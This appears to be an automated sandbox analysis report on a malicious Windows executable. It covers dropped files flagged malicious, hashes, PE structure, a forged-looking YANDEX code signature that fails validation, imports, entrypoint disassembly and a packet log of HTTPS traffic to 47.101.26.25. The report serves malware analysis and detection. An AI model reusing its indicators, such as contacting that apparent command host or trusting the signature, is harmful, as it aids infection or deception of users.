Preview:	....l%00ZS_Y.hw6EE.U;x&=\SZU4<{4X]MA/"2o...@!n')O)))))))))))))))))))))))))))))))A]]Ycvv....h.1p..].}>`{....rz=r....idt)JFD.d(ao.ooooooooooooooooooooooooooooooo....l%00ZS_Y.hw6EE.U;x&=\SZU4<{4X]MA/"2o...@#n')O)))))))))))))))))))))))))))))))A]]Ycvv....h.1p..].}>`{....rz=r....idt)JFD.b(ao.ooooooooooooooooooooooooooooooo....zww5PMP5555555555555555555555555555555555555CFPY6>w=QQ======================================jROY)8=.vskz.T..................................UkUh$...2x}hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh

C:\Users\user\Documents\c4wtKa.exe

Download File

Process:	C:\Users\user\Desktop\1387457-38765948.15.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	133136
Entropy (8bit):	6.350273548571922
Encrypted:	false
SSDEEP:	3072:NtmH5WKiSogv0HSCcTwk7ZaxbXq+d1ftrt+armpQowbFqD:NYZEHG0yfTPFas+dZZrL9MD
MD5:	D3709B25AFD8AC9B63CBD4E1E1D962B9
SHA1:	6281A108C7077B198241159C632749EEC5E0ECA8
SHA-256:	D2537DC4944653EFCD48DE73961034CFD64FB7C8E1BA631A88BBA62CCCC11948
SHA-512:	625F46D37BCA0F2505F46D64E7706C27D6448B213FE8D675AD6DF1D994A87E9CEECD7FB0DEFF35FDDD87805074E3920444700F70B943FAB819770D66D9E6B7AB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 2976587-987347589.07.exe, Detection: malicious, Browse Filename: 2976587-987347589.08.exe, Detection: malicious, Browse Filename: 2976587-987347589.08.exe, Detection: malicious, Browse Filename: 2976587-987347589.07.exe, Detection: malicious, Browse Filename: 2873466535874-68348745.02.exe, Detection: malicious, Browse Filename: 2362476847-83854387.07.exe, Detection: malicious, Browse Filename: 2362476847-83854387.07.exe, Detection: malicious, Browse Filename: 2o63254452-763487230.06.exe, Detection: malicious, Browse Filename: 2o63254452-763487230.06.exe, Detection: malicious, Browse Filename: e2664726330-76546233.05.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s.E.7w+.7w+.7w+...V.?w+...E..w+...F.Qw+...P.5w+.>...>w+.7w..w+...Y.>w+...W.6w+...S.6w+.Rich7w+.........PE..d...Kd.]..........#................P].........@............................................................................................,...x...............,........H...........D...............................................@..@............................text...)......................... ..`.rdata..x_...@...`..................@..@.data....:..........................@....pdata..,...........................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\vselog.dll

Download File

Process:	C:\Users\user\Desktop\1387457-38765948.15.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	6.002066263941358
Encrypted:	false
SSDEEP:	1536:Jd4E7qItA4nbQ0R3rh4Q8/0fp0uQ4S8S7YDLbnTPtrTzvesW7dj9dl4Cp52FF:Jf7qG3Gyp0p4ZmGLbTPJT7y7aCp5gF
MD5:	E3B74D8EADD94CCEB49435F9BA617289
SHA1:	5E7324DABD7A1CB5F6DC9E7D6C3E022511A3FFB2
SHA-256:	C4B771D38C0DFB51122B93C7B3F82849B0C669967C1E342D546C6FABFC8900F7
SHA-512:	63E71049A3AFD004E3BFFEF5A32A5CE656053D42E6C995DEF08C0E292EF44A7D69A0EF453B8EEFFC798FD7EB23A8924550D03A6114135E75124E064D8B9A31EA
Malicious:	true
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d... .E .E .Ek..D%.Ek..D..Ek..D*.E0N.D).E0N.D..E0N.D..Ek..D#.E .EB.EhO.D!.EhO.D!.EhOHE!.E . E!.EhO.D!.ERich .E........PE..d....w.g.........." ...).....................................................0............`.........................................`...........(.......H.................... ..x... ...8...............................@............ ...............................text............................... ..`.rdata....... ......................@..@.data...0...........................@....pdata..............................@..@.rsrc...H...........................@..@.reloc..x.... ......................@..B........................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	0.1079397912024875
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	1387457-38765948.15.exe
File size:	30'954'656 bytes
MD5:	947cd5df10d540b879c037c1cb519e63
SHA1:	8e4f326d08b675c077dc1d19246bac5eaa0f73dc
SHA256:	29f92fd013bdfc23e6b1a088f68b7bf4acf423bcc440d0ff49ac0079a38c5072
SHA512:	8516a7ff71fdcf2ff6e0210023fec4f064e0b3d3f520938a2259f0701bc69584239f502e0a11d1374cdf436d990b0592bd9c67c117ed7528c57e86c638c9631e
SSDEEP:	3072:H4Df3i8mhK5BSHO/3RBFADIDhwhKBE3Ukepa9Z2tH9bPP29NLG/ZWWHdpiQzQ:H4Dfy8neu/3/H9whKBE4eK/ZWW9piQzQ
TLSH:	6467281B5350E99DEC31B07CD0008795ABA27C253293FF9A52E07A9EDF721C19D2B627
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................85......85......85..............................QV/.............%.......%.........s.....%.......Rich...........

File Icon


Icon Hash:	1268c4ce68328e40

Static PE Info

General

Entrypoint:	0x140004f04
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, TERMINAL_SERVER_AWARE
Time Stamp:	0x660D9ED0 [Wed Apr 3 18:24:16 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	a960218d8123ac2428e0da4c17ab3175

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	06/05/2022 10:44:54 06/05/2024 10:44:54
Subject Chain	CN=YANDEX LLC, O=YANDEX LLC, STREET="Leo Tolstoy street, 16", L=Moscow, S=Moscow, C=RU, OID.1.3.6.1.4.1.311.60.2.1.2=Moscow, OID.1.3.6.1.4.1.311.60.2.1.3=RU, SERIALNUMBER=1027700229193, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	07A79C5F2F79548D1AC45A792866ABD9
Thumbprint SHA-1:	F55522C99528A0C94883E56FF946AC088091E573
Thumbprint SHA-256:	1561AE150E66F6D2B3BCEDA46D46525EDCAF8697D3BC94485150865DC40EF888
Serial:	7904D32E74FC472B66C08A38

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FBF0908789Ch
dec eax
add esp, 28h
jmp 00007FBF09083677h
int3
int3
retn 0000h
int3
and dword ptr [00016B45h], 00000000h
ret
dec eax
mov dword ptr [esp+08h], ebx
push ebp
dec eax
lea ebp, dword ptr [esp-000004C0h]
dec eax
sub esp, 000005C0h
mov ebx, ecx
mov ecx, 00000017h
call 00007FBF0909203Dh
test eax, eax
je 00007FBF090874C6h
mov ecx, ebx
int 29h
mov ecx, 00000003h
call 00007FBF0908748Ah
xor edx, edx
dec eax
lea ecx, dword ptr [ebp-10h]
inc ecx
mov eax, 000004D0h
call 00007FBF09087E5Dh
dec eax
lea ecx, dword ptr [ebp-10h]
call dword ptr [0000C08Eh]
dec eax
mov ebx, dword ptr [ebp+000000E8h]
dec eax
lea edx, dword ptr [ebp+000004D8h]
dec eax
mov ecx, ebx
inc ebp
xor eax, eax
call dword ptr [0000C1F4h]
dec eax
test eax, eax
je 00007FBF090874FEh
dec eax
and dword ptr [esp+38h], 00000000h
dec eax
lea ecx, dword ptr [ebp+000004E0h]
dec eax
mov edx, dword ptr [ebp+000004D8h]
dec esp
mov ecx, eax
dec eax
mov dword ptr [esp+30h], ecx
dec esp
mov eax, ebx
dec eax
lea ecx, dword ptr [ebp+000004E8h]
dec eax
mov dword ptr [esp+28h], ecx
dec eax
lea ecx, dword ptr [ebp-10h]
dec eax
mov dword ptr [esp+20h], ecx
xor ecx, ecx
call dword ptr [0000C1BBh]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x19af0	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1d77000	0x10400	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1d76000	0xe7c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1d82c00	0x28a0	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1d88000	0x640	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x18740	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x188b0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x187b0	0x100	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x11000	0x2e8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xf2dc	0xf400	92151013447fb3f2d89a0eb0689389ef	False	0.5336353739754098	data	6.3728130766478825	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x11000	0x94b0	0x9600	b6c5607f532945a497a3dd9ec32e34e8	False	0.42380208333333336	data	4.7375559254011765	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1b000	0x1d5ace4	0x1d58200	3d87169ee8c7fd21de7968eb5c4a77d1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x1d76000	0xe7c	0x1000	ebfc7d80ce38e3ab843fa63d2287afdf	False	0.43701171875	data	4.481426700060546	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x1d77000	0x10400	0x10400	abe4ac1b8181f9a4987480c9413a557e	False	0.10115685096153847	data	3.008124803901922	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1d88000	0x640	0x800	8a59f1b22252635e9e76e3c3f27b6b51	False	0.5537109375	data	4.840560734683175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x1d77658	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 0	English	United States	0.1312588568729334
RT_ICON	0x1d7b880	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.17022821576763486
RT_ICON	0x1d7de28	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.2171669793621013
RT_ICON	0x1d7eed0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.35815602836879434
RT_ICON	0x1d7f378	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 0	English	United States	0.1312588568729334
RT_ICON	0x1d835a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.17022821576763486
RT_ICON	0x1d85b48	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.2171669793621013
RT_ICON	0x1d86bf0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.35815602836879434
RT_GROUP_ICON	0x1d7f338	0x3e	data	English	United States	0.8225806451612904
RT_GROUP_ICON	0x1d87058	0x3e	data	English	United States	0.8870967741935484
RT_VERSION	0x1d772b0	0x3a4	data	Russian	Russia	0.4656652360515021
RT_MANIFEST	0x1d87098	0x365	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (809), with CRLF line terminators	English	United States	0.4844649021864212

Imports

DLL	Import
SHLWAPI.dll	StrCmpIW, StrCatW, StrCpyW, PathAppendW
KERNEL32.dll	RtlCaptureContext, CreateFileW, WriteConsoleW, SetFilePointerEx, GetConsoleMode, HeapSize, HeapReAlloc, HeapFree, HeapAlloc, GetProcessHeap, RaiseException, LoadLibraryW, GetProcAddress, FreeLibrary, GetModuleFileNameW, FindFirstFileW, FindNextFileW, FindClose, DeleteFileW, OpenProcess, WaitForSingleObject, CloseHandle, TerminateProcess, GetCommandLineW, lstrcmpiW, lstrcpyW, ExitProcess, CreateToolhelp32Snapshot, Process32FirstW, GetCurrentProcessId, Thread32First, Thread32Next, Process32NextW, InitializeCriticalSectionEx, GetLastError, DeleteCriticalSection, GetConsoleCP, FlushFileBuffers, GetStringTypeW, SetStdHandle, GetFileType, IsDebuggerPresent, OutputDebugStringW, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, CreateEventW, GetModuleHandleW, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlPcToFileHeader, RtlUnwindEx, SetLastError, EncodePointer, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, GetCurrentProcess, GetModuleHandleExW, MultiByteToWideChar, WideCharToMultiByte, GetStdHandle, WriteFile, GetACP, LCMapStringW, FindFirstFileExW, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetEnvironmentStringsW, VirtualAlloc
USER32.dll	DispatchMessageW, PostThreadMessageW, CharNextW, GetMessageW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Russian	Russia

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 12, 2025 04:06:00.724414110 CET	49981	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:00.724450111 CET	443	49981	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:00.724533081 CET	49981	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:00.735547066 CET	49981	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:00.735563993 CET	443	49981	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:01.986825943 CET	443	49981	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:01.986891985 CET	49981	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:01.987627029 CET	443	49981	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:01.987674952 CET	49981	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:02.164906979 CET	49981	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:02.164920092 CET	443	49981	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:02.165213108 CET	443	49981	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:02.165270090 CET	49981	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:02.167433977 CET	49981	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:02.211350918 CET	443	49981	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:02.497431040 CET	443	49981	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:02.497611046 CET	443	49981	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:02.497636080 CET	49981	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:02.497853041 CET	49981	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:02.513173103 CET	49981	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:02.513189077 CET	443	49981	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:02.645697117 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:02.645720005 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:02.645817995 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:02.646325111 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:02.646339893 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.055962086 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.056245089 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.056626081 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.056633949 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.056838036 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.056844950 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.400116920 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.400177956 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.400440931 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.400464058 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.400544882 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.400567055 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.400638103 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.401957035 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.402050018 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.406227112 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.406312943 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.490519047 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.490623951 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.490660906 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.490672112 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.490719080 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.490773916 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.490782022 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.490833998 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.490889072 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.490987062 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.491066933 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.491072893 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.491096020 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.491164923 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.492404938 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.492564917 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.494510889 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.494621992 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.494626045 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.494648933 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.494692087 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.494746923 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.496825933 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.496922970 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.619837046 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.619941950 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.620033979 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.620126963 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.620141029 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.620163918 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.620223045 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.620296955 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.620385885 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.620389938 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.620417118 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.620481968 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.620950937 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.621046066 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.621048927 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.621068954 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.621124029 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.621164083 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.621176958 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.621185064 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.621263027 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.621978998 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.622067928 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.622068882 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.622091055 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.622138023 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.622190952 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.622864962 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.622961044 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.622978926 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.623054028 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.623069048 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.623155117 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.623811007 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.623894930 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.623927116 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.624011993 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.624025106 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.624032974 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.624089956 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.624140978 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.710124969 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.710237026 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.710264921 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.710273027 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.710335016 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.710390091 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.710396051 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.710432053 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.710458994 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.710465908 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.710516930 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.710567951 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.710573912 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.710650921 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.710660934 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.710766077 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.734312057 CET	49982	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.734323025 CET	443	49982	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.765898943 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.765955925 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:04.766074896 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.766369104 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:04.766382933 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.105576038 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.106004000 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.106362104 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.106381893 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.106569052 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.106583118 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.460696936 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.460751057 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.460788965 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.460803986 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.460844994 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.460844994 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.461275101 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.461402893 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.462363958 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.462474108 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.466875076 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.467086077 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.551017046 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.551182032 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.551601887 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.551671028 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.551965952 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.552067995 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.552591085 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.552661896 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.552685976 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.552757025 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.553715944 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.553805113 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.555506945 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.555577993 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.555840969 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.555900097 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.557796001 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.557862043 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.641628027 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.641768932 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.641769886 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.641798973 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.641844034 CET	49983	443	192.168.2.5	47.101.26.25
